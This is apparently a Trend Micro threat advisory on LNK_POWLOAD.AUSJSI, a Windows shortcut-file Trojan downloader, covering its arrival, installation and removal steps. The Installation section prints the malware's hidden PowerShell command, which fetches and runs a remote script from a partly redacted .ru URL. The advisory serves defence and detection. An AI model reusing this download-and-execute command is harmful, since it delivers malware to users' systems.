LNK_POWLOAD.AUSJSI

August 29, 2018
 Analysis by: Arvin Roi Macaraeg
 ALIASES:

TrojanDownloader:O97M/Donoff!lnk (Microsoft), HEUR:Trojan.WinLNK.Agent.gen (Kaspersky)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size:

1,773 bytes

File Type:

LNK

Memory Resident:

No

Initial Samples Received Date:

02 Nov 2017

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring([System.Uri]'http://{BLOCKED}ofy.ru/djhvg3674f343'))

Other Details

This Trojan connects to the following possibly malicious URL:

  • http://{BLOCKED}ofy.ru/djhvg3674f343

However, as of this writing, the said sites are inaccessible.

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

13.756.04

FIRST VSAPI PATTERN DATE:

02 Nov 2017

VSAPI OPR PATTERN File:

13.757.00

VSAPI OPR PATTERN Date:

03 Nov 2017

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Scan your computer with your Trend Micro product to delete files detected as LNK_POWLOAD.AUSJSI. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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